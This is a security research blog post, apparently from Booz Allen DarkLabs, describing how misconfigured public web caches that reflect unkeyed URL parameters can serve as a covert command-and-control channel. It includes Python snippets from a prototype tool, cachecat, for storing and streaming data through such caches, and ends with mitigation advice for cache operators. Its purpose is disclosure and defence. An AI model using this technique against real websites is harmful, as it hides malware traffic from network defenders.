Introducing Web Cache Tunneling

Network defenders are responsible for detecting and blocking malware. Traditionally, malware might connect directly to a suspicious domain or IP address, which could be detected and blocked at the firewall. Today, however, malware may take any number of creative routes out of the network to avoid detection.

For example, some malware might instead check a specific Twitter account for tasks. Defenders may be unable to detect malicious Twitter traffic or unwilling to block access, making the malware more resilient. However, Twitter could still be compelled to block the malicious user and investigate its origin.

Efforts by malware authors to avoid detection haven’t stopped at Twitter posts, but very few techniques are both exceptionally evasive and inexpensive. Our research warns that public web caches, when configured to reflect unkeyed content on cached pages, could be used for command and control (C2) in a manner that is extremely difficult to block or investigate. This blog post will cover the details of the technique, demonstrate how it can be used for C2, and discuss potential mitigations.

Before discussing the technique, we need to cover a few key concepts. For a more detailed background, we recommend Practical Web Cache Poisoning by James Kettle from PortSwigger.

Let’s imagine a user browsing a web page. An HTTP request is sent to the application server, which crafts and returns an HTTP response. However, today’s popular websites deal with a substantial number of requests, so many deploy a web cache between the user and application server to reduce load and improve performance. Whenever the application server produces a particular response, the web cache saves it and serves it automatically to multiple users, sparing the application server from duplicate work.

The web cache then needs to determine which response, if any, should be served to the user. This is often done by matching a cached response to a set of cache keys, or parts of the HTTP request that fully identify the resource being requested. For example, two requests with the same path, URL arguments, and host header could be treated as identical requests and deserve the same cached response, despite having different user agents. These cache keys will likely vary between web cache implementations and configurations.

Cache poisoning is thus sending a request that causes a harmful response to get saved in the cache and served to other users. For our purposes, we are not necessarily looking to produce a harmful response, rather more of a useful response, but the approach is the same.

Let’s start by observing some cache functionality on the search page of a website, which has several important features¹

1. Search result responses are cached

2. Those responses contain the requested URL – reflection²

3. The q URL argument is treated as a cache key, while others are ignored (like p)

Accordingly, the following two requests would be treated as identical and served the same cached response, with the keyed information in blue and the unkeyed information in red.

The first response includes the header X-Cache-Status: MISS, signifying that it did not come from the cache but was likely stored. The second response includes the header X-Cache-Status: HIT, signifying that it did come from the cache. And indeed, its body content matches that of the first.

Let’s try those two requests again, but this time in the reverse order.

Just as before, the first response was uncached, stored, and later served to the second request. In this case, however, the cached response now includes information only present in the first request—specifically, p=bar.

If we imagine these two requests came from different clients, this, in effect, is the essence of cache poisoning, which would ordinarily be succeeded by a lesson in cross-site scripting.

However, this could also be described as a transport mechanism, whereby one client effectively transported the data p=bar to another by first storing it in a public web cache under the key q=foo. The web cache served as a sort of digital dead drop between clients who, perhaps following a trip through the onion router, could retrieve the data so long as they knew exactly where to look.

With the premise of web cache tunneling covered, it’s time to introduce its working prototype, cachecat, which implements the plumbing necessary to utilize cache poisoning as a transport mechanism.³

We start by instantiating a Cache object with the URL of a vulnerable web page as well as its keyed and unkeyed arguments, which then behaves as a python dictionary backed by a public web cache.

from cachecat.cache import Cache

cache = Cache(url, ”q”, ”p”)
cache[“foo”] = b”bar”
print(cache[”foo”])

This Cache object enables the storage of arbitrary data in a public web cache. While this implementation will feel very comfortable to Python developers, it comes with a severe limitation—reading data from the cache under a certain key itself writes to the cache if data was not already there. In other words, the act of reading from the cache is itself an act of writing, whether or not we have something to write. Without an additional solution, this behavior would severely inhibit communication between distinct clients. To solve this problem, we need a location where each client can look for new data, such that each client knows exactly where to look, but that is changing all the time.

Cachecat solves this problem by implementing a stack of pseudo-random tokens derived from a shared seed called a port. If each client knows the shared port and iterates over each step in the derived stack of tokens, they will converge at the top of the stack, achieving a shared—but dynamic—location to check for new data. This solution is implemented as a Session object and behaves as an iterator.

from cachecat.session import Session

session = Session(1337)

for step, token in session:
    try:
        print("Step %i contains: %s” % (step, cache[token]))
    except KeyError:
        print("Missing step: %i" % (step))
        break

The concept of a Session ultimately enables full (albeit, slow) streaming of arbitrary data over a public web cache, which cachecat also implements in a familiar manner.

from cachecat.io import CacheWriter

with CacheWriter(cache, session) as writer:
    writer.write(b”Hello, world!”)

from cachecat.io import CacheReader

with CacheReader(cache, session) as reader:
    print(reader.read())

from cachecat.io import CacheReader, CacheWriter, CacheIO
import sys

reader = CacheReader(cache, session)
writer = CacheWriter(cache, session)

def callback(data):
    sys.stdout.buffer.write(data)
    sys.stdout.buffer.flush()

with CacheIO(reader, writer, callback) as stream:
    while True:
        data = sys.stdin.buffer.readline()
        if not data:
            break
        stream.write(data)

Finally, cachecat provides a bash implementation resembling netcat, enabling the tunneling of arbitrary data over a public web cache. 

As this research has shown, arbitrary data can be tunneled over an improperly configured web cache with decent reliability. Continued improper web cache configuration, specifically reflecting unkeyed request content on cached pages, could lead to malware using any number of vulnerable but extremely popular websites for command and control without a trace, making network detection and investigation effectively impossible.

As a website or web cache operator, avoid caching pages that reflect unkeyed content from the request, such as URL arguments or HTTP headers. If a page must reflect dynamic content, make sure it is either present in the cache key (proxy_cache_key for nginx), or make sure the page is not cached at all. If you’ve previously resolved a web cache poisoning vulnerability with content filtering, you’re likely still vulnerable to this technique.

This blog series is brought to you by Booz Allen DarkLabs. Our DarkLabs is an elite team of security researchers, penetration testers, reverse engineers, network analysts, and data scientists, dedicated to stopping cyber attacks before they occur.

This article is for informational purposes only, its content may be based on employees’ independent research, and does not represent the position or opinion of Booz Allen. Furthermore, Booz Allen disclaims all warranties in the article's content, does not recommend/endorse any third-party products referenced therein, and any reliance and use of the article is at the reader’s sole discretion and risk.